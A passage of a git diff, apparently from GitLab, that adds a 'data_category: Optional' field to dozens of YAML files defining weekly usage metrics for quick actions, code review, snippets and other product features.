@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_create_merge_request_weekly
description: Count of WAU using the `/create_merge_request` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml b/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml
index bd5720ee00b..a079996d0b2 100644
--- a/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml
+++ b/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_done_weekly
description: Count of WAU using the `/done` quick action to mark a todo as done
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml b/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml
index 4d324611eae..edba1aa2ca3 100644
--- a/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml
+++ b/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_draft_weekly
description: Count of WAU using the `/draft` quick action on a Merge Request
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml b/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml
index ba24c06603c..91b47b48d6a 100644
--- a/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml
+++ b/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_due_weekly
description: Count of WAU using the `/due` quick action to change the due date on an issuable
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml b/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml
index 3ab9b124c2a..29a485623c3 100644
--- a/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml
+++ b/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_duplicate_weekly
description: Count of WAU using the `/duplicate` quick action to mark an issue as a duplicate of another
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml b/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml
index 42b76831a0b..4a6f7b6db71 100644
--- a/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml
+++ b/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_estimate_weekly
description: Count of WAU using the `/estimate` quick action to set a time estimate on an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml b/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml
index b77a75d1a0e..6380019b823 100644
--- a/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml
+++ b/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_label_weekly
description: Count of WAU using the `/label` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml b/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml
index f2bfe3b8e2c..fc19bfc5aba 100644
--- a/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml
+++ b/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_lock_weekly
description: Count of WAU using the `/lock` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml b/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml
index 5fdb11355f5..72344d83c3c 100644
--- a/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml
+++ b/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_merge_weekly
description: Count of WAU using the `/merge` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml b/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml
index c4e0e3606af..cbc0a5cb301 100644
--- a/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml
+++ b/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_milestone_weekly
description: Count of WAU using the `/milestone` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml b/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml
index 55559fb7715..8aa6aa0c2f2 100644
--- a/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml
+++ b/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_move_weekly
description: Count of WAU using the `/move` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml b/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml
index d6f304bba5c..e461d58c499 100644
--- a/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml
+++ b/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_reassign_weekly
description: Count of WAU using the `/reassign @user1` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml b/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml
index f9347596f77..e8b81447916 100644
--- a/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml
+++ b/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_weekly
description: Count of WAU using the `/reassign_reviewer` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml b/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml
index 73a99e63471..7c65f6868bf 100644
--- a/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml
+++ b/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_rebase_weekly
description: Count of WAU using the `/rebase` quick action on a Merge Request
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml b/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml
index 5ffbd8904b1..a8ac0715b22 100644
--- a/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml
+++ b/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_relabel_weekly
description: Count of WAU using the `/relabel` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml b/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml
index aa4ee33ff27..e7e396da7fc 100644
--- a/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml
+++ b/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_relate_weekly
description: Count of WAU using the `/relate` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml b/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml
index 684b3aa9af5..b934268b88e 100644
--- a/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml
+++ b/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_due_date_weekly
description: Count of WAU using the `/remove_due_date` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml b/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml
index 5f25769f4da..e18ae759715 100644
--- a/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml
+++ b/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_estimate_weekly
description: Count of WAU using the `/remove_estimate` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml b/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml
index d2edc411e81..6d783572976 100644
--- a/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml
+++ b/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_milestone_weekly
description: Count of WAU using the `/remove_milestone` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml b/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml
index 0b0e1ef7c83..86458cb813f 100644
--- a/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml
+++ b/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_time_spent_weekly
description: Count of WAU using the `/remove_time_spent` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml b/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml
index fdf9aac2687..eff4a6bc9eb 100644
--- a/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml
+++ b/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_zoom_weekly
description: Count of WAU using the `/remove_zoom` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml b/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml
index b566f3bed65..a64b3eec3b4 100644
--- a/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml
+++ b/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_reopen_weekly
description: Count of WAU using the `/reopen` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml b/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml
index f6d18267bfe..dcbb2ce8aaa 100644
--- a/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml
+++ b/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_shrug_weekly
description: Count of WAU using the `/shrug` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml b/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml
index afadfd2bb13..1752363a6e6 100644
--- a/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml
+++ b/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_spend_subtract_weekly
description: Count of WAU using the `/spend` quick action to subtract time spent
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml b/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml
index b826cfd2057..478b32079e7 100644
--- a/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml
+++ b/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_spend_add_weekly
description: Count of WAU using the `/spend` quick action to add time spent
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml b/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml
index 55848c908da..3e02aebcf62 100644
--- a/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml
+++ b/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_submit_review_weekly
description: Count of WAU using the `/submit_review` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml b/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml
index 8fbe345f451..0d5b43552fe 100644
--- a/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml
+++ b/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_subscribe_weekly
description: Count of WAU using the `/subscribe` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml b/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml
index fb32d9645c3..3725e008de5 100644
--- a/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml
+++ b/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_tableflip_weekly
description: Count of WAU using the `/tableflip` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml b/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml
index 8ebf21a4d5f..b2983522af5 100644
--- a/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml
+++ b/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_tag_weekly
description: Count of WAU using the `/tag` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml b/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml
index fc3b92381c0..03c3a7fd3ae 100644
--- a/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml
+++ b/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_target_branch_weekly
description: Count of WAU using the `/target_branch` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml b/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml
index 32f4957e2be..67cf9ffadf2 100644
--- a/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml
+++ b/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_title_weekly
description: Count of WAU using the `/title` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml b/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml
index 30ccc93b33a..2732afe133a 100644
--- a/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml
+++ b/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_todo_weekly
description: Count of WAU using the `/todo` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml b/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml
index 2d5ea7669b1..8a1b27e26c9 100644
--- a/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml
+++ b/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_specific_weekly
description: Count of WAU using the `/unassign @user1` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml b/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml
index 278a71ba4b7..d772d842803 100644
--- a/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml
+++ b/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_all_weekly
description: Count of WAU using the `/unassign` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml b/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml
index ea248000bad..5d8182c97a6 100644
--- a/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml
+++ b/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_weekly
description: Count of WAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml b/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml
index ae787a56957..823d3c64177 100644
--- a/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml
+++ b/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_specific_weekly
description: Count of WAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml b/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml
index f0e3d4599ac..3e16e38d814 100644
--- a/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml
+++ b/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_all_weekly
description: Count of WAU using the `/unlabel` quick action to remove all labels
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml b/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml
index ae1b5364e99..e89b4b48b82 100644
--- a/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml
+++ b/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unlock_weekly
description: Count of WAU using the `/unlock` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml b/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml
index e0721034639..cbce70d915e 100644
--- a/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml
+++ b/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unsubscribe_weekly
description: Count of WAU using the `/unsubscribe` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml b/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml
index 6180cdda935..72e438d2227 100644
--- a/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml
+++ b/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_wip_weekly
description: Count of WAU using the `/wip` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml b/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml
index 22cc7a3d2e9..783565854e8 100644
--- a/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml
+++ b/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_zoom_weekly
description: Count of WAU using the `/zoom` quick action on Issues
product_section: dev
diff --git a/config/metrics/counts_7d/20210216182100_wiki_action_weekly.yml b/config/metrics/counts_7d/20210216182100_wiki_action_weekly.yml
index e887858fe96..ea8ebc2b18f 100644
--- a/config/metrics/counts_7d/20210216182100_wiki_action_weekly.yml
+++ b/config/metrics/counts_7d/20210216182100_wiki_action_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.wiki_action_weekly
description: Count of unique actions done on a wiki (create, edit, delete)
product_section: dev
diff --git a/config/metrics/counts_7d/20210216182104_design_action_weekly.yml b/config/metrics/counts_7d/20210216182104_design_action_weekly.yml
index 37744671757..34cd3645bfe 100644
--- a/config/metrics/counts_7d/20210216182104_design_action_weekly.yml
+++ b/config/metrics/counts_7d/20210216182104_design_action_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.design_action_weekly
description: Count of total design actions (upload, delete, comment, reply)
product_section: dev
diff --git a/config/metrics/counts_7d/20210216182107_project_action_weekly.yml b/config/metrics/counts_7d/20210216182107_project_action_weekly.yml
index 6f6dc87783a..95919f7919c 100644
--- a/config/metrics/counts_7d/20210216182107_project_action_weekly.yml
+++ b/config/metrics/counts_7d/20210216182107_project_action_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.project_action_weekly
description: Count of unique actions done on projects and related resources (create, edit, delete, comment)
product_section: dev
diff --git a/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml b/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml
index cc125283f2c..c7ce2c729e1 100644
--- a/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml
+++ b/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.i_testing_test_case_parsed_weekly
description: Internal Tracking to count number of unit tests parsed for planning of
future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
diff --git a/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml b/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml
index 7443c3d599f..12530d0be66 100644
--- a/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml
+++ b/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_weekly.aggregated_metrics.product_analytics_test_metrics_union
description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
product_section: growth
diff --git a/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml b/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml
index d4d6a713936..117be73d66f 100644
--- a/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml
+++ b/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_weekly.aggregated_metrics.product_analytics_test_metrics_intersection
description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
product_section: growth
diff --git a/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml b/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml
index 3fefa5bdda9..9c5823b3e7c 100644
--- a/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml
+++ b/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_sse_weekly
description: Weekly number of users editing using the Static Site Editor
product_section: dev
diff --git a/config/metrics/counts_7d/20210216184045_git_write_action_weekly.yml b/config/metrics/counts_7d/20210216184045_git_write_action_weekly.yml
index e14c0a39399..baf098dd19b 100644
--- a/config/metrics/counts_7d/20210216184045_git_write_action_weekly.yml
+++ b/config/metrics/counts_7d/20210216184045_git_write_action_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.git_write_action_weekly
description: Count of unique Git write actions
product_section: dev
diff --git a/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml b/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml
index d6d28589760..21cbad1ae90 100644
--- a/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml
+++ b/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.snippets.i_snippets_show_weekly
description: Weekly number of users viewing snippets
product_section: dev
diff --git a/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml b/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml
index 68c75dd579b..f032e8a8558 100644
--- a/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml
+++ b/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly
description: Weekly unique user count doing commits which contains the CI config file
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184310_i_code_review_user_toggled_task_item_status_weekly.yml b/config/metrics/counts_7d/20210216184310_i_code_review_user_toggled_task_item_status_weekly.yml
index f97747932a5..dfd86a89531 100644
--- a/config/metrics/counts_7d/20210216184310_i_code_review_user_toggled_task_item_status_weekly.yml
+++ b/config/metrics/counts_7d/20210216184310_i_code_review_user_toggled_task_item_status_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_toggled_task_item_status_weekly
description: Count of unique users per week who toggled a task item in a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184320_i_code_review_user_approve_mr_weekly.yml b/config/metrics/counts_7d/20210216184320_i_code_review_user_approve_mr_weekly.yml
index e220ecfb3fa..aa377215ccf 100644
--- a/config/metrics/counts_7d/20210216184320_i_code_review_user_approve_mr_weekly.yml
+++ b/config/metrics/counts_7d/20210216184320_i_code_review_user_approve_mr_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approve_mr_weekly
description: Count of unique users per week who approve a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184324_i_code_review_user_unapprove_mr_weekly.yml b/config/metrics/counts_7d/20210216184324_i_code_review_user_unapprove_mr_weekly.yml
index 07db3a24ab9..df529bd5a02 100644
--- a/config/metrics/counts_7d/20210216184324_i_code_review_user_unapprove_mr_weekly.yml
+++ b/config/metrics/counts_7d/20210216184324_i_code_review_user_unapprove_mr_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_unapprove_mr_weekly
description: Count of unique users per week who unapprove a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184328_i_code_review_user_resolve_thread_weekly.yml b/config/metrics/counts_7d/20210216184328_i_code_review_user_resolve_thread_weekly.yml
index faef58e57b7..05fbef8aa3c 100644
--- a/config/metrics/counts_7d/20210216184328_i_code_review_user_resolve_thread_weekly.yml
+++ b/config/metrics/counts_7d/20210216184328_i_code_review_user_resolve_thread_weekly.yml
@@ -1,4 +1,5 @@
---
